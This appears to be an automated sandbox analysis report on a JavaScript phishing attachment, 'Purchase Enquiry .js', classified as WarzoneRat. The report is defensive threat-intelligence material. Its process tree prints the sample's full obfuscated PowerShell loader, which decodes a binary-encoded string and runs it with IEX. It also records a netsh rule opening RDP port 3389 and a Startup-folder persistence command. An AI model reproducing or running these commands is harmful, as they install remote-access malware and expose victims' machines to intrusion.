Analysis

  • max time kernel
    189s
  • max time network
    193s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-11-2022 04:11

General

  • Target

    Purchase Enquiry .js

  • Size

    1KB

  • MD5

    840422981206fe204ad674b563497eee

  • SHA1

    fbadcc5fa1e489d965591d769da3bf7039fc5b7f

  • SHA256

    76522e1121f296222f3a9c9913638e5e6e9ab4be9206fc86ed32c1827b44b689

  • SHA512

    8cc95a62d66b7afcb8f402b4603773a3d3b877cdbf0c07492f75cc3b5bfc6e5cb91aa0997509b0e939a187ad8037d766ba23a4c3758da94a31940a4fc348d9ee

Malware Config

Signatures

  • WarzoneRat, AveMaria

    WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.

  • Warzone RAT payload 5 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 30 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Purchase Enquiry .js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function ermkflll { $o00=[char]105 + 'EX';sal P $o00 $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,51155511,51155151,55155555,55111151,55155555,55155111,51515511,51151551,51151155,51155151,51151115,51115155,51151155,51111551,51555511,51151111,51151115,51115155,51151551,51151115,51115151,51155151,55155111,55111511,55155155,51115155,55115151,55115115,51155115,51155111,55155555,55111151,55155555,51511511,51555151,51151115,51115151,51151151,51511151,55111515,55111515,51515155,51151111,51551111,51155515,51151515,51155151,51155511,51115155,55151555,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,51515155,51111551,51115555,51155151,51511151,55151155,55155555,55115511,55115555,55115111,55115515,55151551,55111511,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51115515,51115115,51151551,51155511,51155151,51515555,51151111,51151551,51151115,51115155,51551151,51155551,51151115,51155551,51155111,51155151,51115515,51511151,55111515,55111515,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,55155555,55111151,55155555,55155155,51115155,55115151,55115115,51155115,51155111,55111511,51555551,51155155,51155155,55151151,51515155,51111551,51115555,51155151,55155555,55151151,51555551,51115511,51115511,51155151,51151151,51155515,51151155,51111551,51551115,51155551,51151151,51155151,55155555,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55111511,51155155,51151111,55155555,51111511,55155155,51115555,51151551,51151115,51155111,55155555,55111151,55155555,51115155,51155151,51115511,51115155,55151151,51155511,51151111,51151115,51151115,51155151,51155511,51115155,51151551,51151111,51151115,55155555,55151151,51155511,51151111,51151151,51115555,55155555,51155111,51151111,51151111,51155111,51151155,51155151,55151115,51155511,51151111,51151151,55155555,55151151,51155511,51151111,51115151,51151115,51115155,55155555,55115551,55155555,55151151,51515551,51115151,51151551,51155151,51115155,51111151,55155555,51115151,51151115,51115155,51151551,51151155,55155555,55151555,55155155,51115555,51151551,51151115,51155111,55151551,55111511,55155155,51115155,51115155,51111551,55111151,51515555,55151555,55155111,55151555,51551115,51155151,51115111,55151151,55155111,55151511,55155111,51551111,51155515,51151515,51155151,55155111,55151511,55155111,51155511,51115155,55155555,51551115,51155151,55155111,55151511,55155111,51115155,55151115,51515111,51155151,55155111,55151511,55155111,51155515,51555511,51151155,51151551,55155111,55151511,55155111,51155151,51151115,51115155,55151551,55155111,55151551,55111511,55155155,51151151,51115115,55111151,55155555,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51551551,51151115,51115155,51155151,51115515,51155551,51155511,51115155,51151551,51151111,51151115,51511151,55111515,55111515,51555511,51155551,51151155,51151155,51555515,51111551,51151115,51155551,51151151,51155151,55151555,55155155,51115155,51115155,51111551,55151155,55155111,51555155,51151111,51115111,51151115,55155111,55155555,55151511,55155555,55155111,51151155,51151111,51155551,51155155,55155111,55155555,55151511,55155555,55155111,51515511,51115155,51115515,55155111,55155555,55151511,55155555,55155111,51151551,51151115,51155111,55155111,55151155,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51555511,51155551,51151155,51151155,51515155,51111551,51115555,51155151,51511151,55111515,55111515,51551151,51155151,51115155,51151555,51151111,51155155,55151155,55155111,51151555,51115155,51115155,51115555,55155111,55155555,55151511,55155555,55155111,55111515,55151111,55151111,51151555,51115551,51151115,51115111,51151555,51155551,55151115,51111555,51111551,51111515,55151111,51115511,51155551,55151111,51115511,51155551,55151115,51151515,51115555,51155111,55155111,55151551,51111155,51515555'.replace('5','0')|IEX) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) } (('[syst' + 'em.Str' + 'ing]::Join('''', $gf)')|P)|P } ermkflll
      2⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2624
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        3⤵
          PID:1476
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
          3⤵
          • Sets DLL path for service in the registry
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4216
          • C:\Users\Admin\AppData\Local\Temp\10.exe
            "C:\Users\Admin\AppData\Local\Temp\10.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4296
            • C:\Windows\SysWOW64\netsh.exe
              netsh advfirewall firewall add rule name="3389" dir=in action=allow protocol=TCP localport=3389
              5⤵
              • Modifies Windows Firewall
              PID:3328
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\Purchase Enquiry .js' 'C:\Users\Admin\\AppData\\Roaming\\Microsoft\\Windows\Start Menu\Programs\Startup\'
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: RenamesItself
        • Suspicious use of AdjustPrivilegeToken
        PID:4296
    • C:\Program Files (x86)\Internet Explorer\ielowutil.exe
      "C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
      1⤵
        PID:2708
      • C:\Program Files\Internet Explorer\iexplore.exe
        "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
        1⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3136
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3136 CREDAT:17410 /prefetch:2
          2⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:3804
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k NetworkService -s TermService
        1⤵
          PID:1792
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k NetworkService -s TermService
          1⤵
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:660

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Program Files\Microsoft DN1\sqlmap.dll

          Filesize

          114KB

          MD5

          461ade40b800ae80a40985594e1ac236

          SHA1

          b3892eef846c044a2b0785d54a432b3e93a968c8

          SHA256

          798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

          SHA512

          421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          6cf293cb4d80be23433eecf74ddb5503

          SHA1

          24fe4752df102c2ef492954d6b046cb5512ad408

          SHA256

          b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

          SHA512

          0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          66b4a80f1b0588c784539ea6dec3eaa9

          SHA1

          2ea8813d84065ebc0e369dd71657b58c5913b181

          SHA256

          9d88259ba2d167100b8a8cba6725b04fc6ed6c212e739fc1dedff490bb416197

          SHA512

          88731f658558df0d287b31f48501ff34905ce6d968d1b43a1924e4f1fa60fc2afe846c6c3e2f27f898c33ab6c6128c1df6d01051feae1a365f7e4080aa8e6937

        • C:\Users\Admin\AppData\Local\Temp\10.exe

          Filesize

          70KB

          MD5

          ca96229390a0e6a53e8f2125f2c01114

          SHA1

          a54b1081cf58724f8cb292b4d165dfee2fb1c9f6

          SHA256

          0df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c

          SHA512

          e93445bce6c8b6f51890309577a0ea9369860d2e6bf8cc0ca708879a77bb176d27c5f559bbdb7deb4b719aee0fc48d9068c293559f7629baf4ec3515898102ef

        • C:\Users\Admin\AppData\Local\Temp\10.exe

          Filesize

          70KB

          MD5

          ca96229390a0e6a53e8f2125f2c01114

          SHA1

          a54b1081cf58724f8cb292b4d165dfee2fb1c9f6

          SHA256

          0df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c

          SHA512

          e93445bce6c8b6f51890309577a0ea9369860d2e6bf8cc0ca708879a77bb176d27c5f559bbdb7deb4b719aee0fc48d9068c293559f7629baf4ec3515898102ef

        • C:\Users\Admin\AppData\Local\Temp\11d5600c-2bda-4d22-b1dc-d8a970181a72\AgileDotNetRT64.dll

          Filesize

          75KB

          MD5

          42b2c266e49a3acd346b91e3b0e638c0

          SHA1

          2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

          SHA256

          adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

          SHA512

          770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

        • C:\Users\Admin\AppData\Local\Temp\784b3b15-2b8e-42df-b11e-ec70bb6ec5f0\AgileDotNetRT64.dll

          Filesize

          75KB

          MD5

          42b2c266e49a3acd346b91e3b0e638c0

          SHA1

          2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

          SHA256

          adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

          SHA512

          770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

        • \??\c:\program files\microsoft dn1\rdpwrap.ini

          Filesize

          291KB

          MD5

          914d30cdc026d77366e6ac105cd5eefc

          SHA1

          95e0c8463f4995bf126fa0cffab4a8a947963a1a

          SHA256

          f00109618610375ea494b1406fa7e5548d75a52669b1bf1761a80394301b42f8

          SHA512

          184c1c12c18b02e27a8674476c768b0dcaef7dff722dfd27e4f342ba7ce65653c399eed0bedc3d9cbca0fec0fa5a17077e8e71f4d7807e2119eec1687ccc7635

        • \??\c:\program files\microsoft dn1\sqlmap.dll

          Filesize

          114KB

          MD5

          461ade40b800ae80a40985594e1ac236

          SHA1

          b3892eef846c044a2b0785d54a432b3e93a968c8

          SHA256

          798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

          SHA512

          421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

        • memory/2624-132-0x0000000000000000-mapping.dmp

        • memory/2624-139-0x00007FF848520000-0x00007FF84866E000-memory.dmp

          Filesize

          1.3MB

        • memory/2624-137-0x00007FF851110000-0x00007FF851BD1000-memory.dmp

          Filesize

          10.8MB

        • memory/2624-135-0x00007FF851110000-0x00007FF851BD1000-memory.dmp

          Filesize

          10.8MB

        • memory/2624-134-0x00000206FC930000-0x00000206FC952000-memory.dmp

          Filesize

          136KB

        • memory/2624-148-0x00007FF851110000-0x00007FF851BD1000-memory.dmp

          Filesize

          10.8MB

        • memory/3328-153-0x0000000000000000-mapping.dmp

        • memory/4216-149-0x000000000B0A0000-0x000000000B240000-memory.dmp

          Filesize

          1.6MB

        • memory/4216-147-0x0000000000400000-0x0000000000568000-memory.dmp

          Filesize

          1.4MB

        • memory/4216-146-0x0000000000400000-0x0000000000568000-memory.dmp

          Filesize

          1.4MB

        • memory/4216-155-0x0000000000400000-0x0000000000568000-memory.dmp

          Filesize

          1.4MB

        • memory/4216-142-0x000000000040B556-mapping.dmp

        • memory/4216-141-0x0000000000400000-0x0000000000568000-memory.dmp

          Filesize

          1.4MB

        • memory/4296-136-0x00007FF851110000-0x00007FF851BD1000-memory.dmp

          Filesize

          10.8MB

        • memory/4296-150-0x0000000000000000-mapping.dmp

        • memory/4296-154-0x0000000000F70000-0x0000000000F9D000-memory.dmp

          Filesize

          180KB

        • memory/4296-156-0x0000000000F70000-0x0000000000F9D000-memory.dmp

          Filesize

          180KB

        • memory/4296-133-0x0000000000000000-mapping.dmp